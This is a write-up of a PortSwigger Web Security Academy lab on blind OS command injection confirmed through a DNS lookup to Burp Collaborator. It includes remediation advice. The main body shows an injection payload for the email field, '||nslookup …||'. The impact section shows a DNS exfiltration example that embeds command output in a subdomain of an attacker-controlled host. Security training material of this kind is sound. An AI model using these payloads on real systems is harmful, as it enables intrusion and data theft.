PlatformPortSwigger Web Security Academy
TopicOS command injection
LabBlind OS command injection with out-of-band interaction
DifficultyPractitioner
GoalTrigger a DNS lookup to Burp Collaborator
ToolsBurp Suite Professional (Repeater + Collaborator)

What makes this out-of-band?#

This is another blind injection: the feedback form runs a shell command with our input but returns nothing useful in the response. In the time-delay lab we confirmed execution by making the server pause. Here the response never changes at all, so we need a different signal, an out-of-band (OOB) one: getting the server to reach out over a separate channel we control, rather than relying on its HTTP response.

The classic OOB channel is DNS. Even when a server can’t make arbitrary outbound HTTP connections, it almost always resolves DNS names, so if we can make it run a command that looks up a domain we control, the incoming DNS query proves our command executed. Burp Collaborator gives us exactly that: a unique domain plus a server that records any DNS or HTTP interaction sent to it. (Collaborator is a Burp Professional feature.)

Finding the injection point#

The injection point and Burp setup are the same as the time-delay lab : the feedback form, submitted as a blind POST /feedback/submit that returns only a static “Thank you”, with the vulnerable parameter being the email field. Capture that request and send it to Repeater.

Exploitation: a DNS callback#

Send the request to Repeater. We inject into email with the || (shell OR) operator, which runs the command on its right when the command on its left fails, and wrap it in a || pair so it fires regardless of the surrounding command. The injected command is nslookup, which performs a DNS lookup of the name we give it, so pointing it at a Collaborator domain makes the server send a DNS query there:

email=test@test.com||nslookup x.BURP-COLLABORATOR-SUBDOMAIN||
Burp Repeater with the email parameter containing a nslookup payload against a placeholder Collaborator subdomain
The payload: ||nslookup x.|| in the email field. Next we swap the placeholder for a real Collaborator domain.

Rather than paste a Collaborator domain by hand, select the placeholder, right-click, and choose Insert Collaborator payload, Burp generates a unique Collaborator subdomain and drops it in:

The Repeater right-click menu with Insert Collaborator payload highlighted
Insert Collaborator payload replaces the selected text with a fresh, unique Collaborator domain.

The payload now carries a real Collaborator subdomain. Send it (the response is still the blind empty {}):

Burp Repeater with the email parameter containing nslookup against a real Collaborator subdomain, response an empty JSON, and a Collaborator (2) badge in the toolbar
The final payload with a live Collaborator subdomain, sent. The response is blind, but notice the Collaborator (2) badge in the toolbar: interactions have already arrived.

Confirming the interaction#

The signal arrives out-of-band, so watch the Collaborator tab in the toolbar: right after sending, it ticks up to Collaborator (2) (visible in the screenshot above), meaning interactions have landed. Open the tab and click Poll now to see them, the server’s nslookup produced a DNS interaction from the target to your Collaborator subdomain. That incoming query is the proof the command executed, and the lab is marked solved. Because the whole signal comes over DNS rather than the app’s response, there’s nothing to read inline, the interaction is the result.

Real-world impact#

A DNS callback looks modest, but it confirms arbitrary command execution on a server that leaks nothing in its responses, and the same out-of-band channel does real work in an authorized engagement:

  • Confirming otherwise-invisible RCE — many real injection points are fully blind; an OOB interaction is often the only way to prove the bug exists.
  • Data exfiltration over DNS — fold command output into the subdomain you look up (for example nslookup $(whoami).<collaborator>), and the data arrives in the DNS query even when all other outbound traffic is blocked.
  • Reaching a reverse shell or internal services — the same execution can pull a shell or pivot inward; DNS is just the quietest confirmation channel.

It’s the same command execution as every other injection in this series, proven through a side channel. Only ever against systems you are authorized to test.

Remediation#

  • Don’t call the OS shell with user input. Use safe, purpose-built APIs instead of building command strings.
  • If a shell command is unavoidable, pass arguments as an array/argv so metacharacters like || are never interpreted.
  • Validate input against a strict allow-list (for an email field, validate the format and reject anything else) rather than blacklisting characters.

A concrete, generic example of the safe form. The unsafe version concatenates the email into a shell string:

os.system("mail -s subject " + email)

The safe version passes the arguments as a list, with no shell involved:

subprocess.run(["mail", "-s", "subject", email], shell=False)

With shell=False and an argument list, ||nslookup …|| in the email is treated as one (invalid) address, never as shell operators.

Key takeaways#

  • When a blind injection reflects nothing and causes no measurable delay, switch to out-of-band: make the server contact a host you control.
  • DNS is the most reliable OOB channel, egress firewalls that block HTTP usually still allow DNS resolution, so nslookup <collaborator> gets through.
  • Burp Collaborator (Pro) provides the domain and records the interaction; Insert Collaborator payload wires a unique subdomain straight into the request.
  • The same channel upgrades from confirmation to exfiltration by embedding command output in the looked-up subdomain.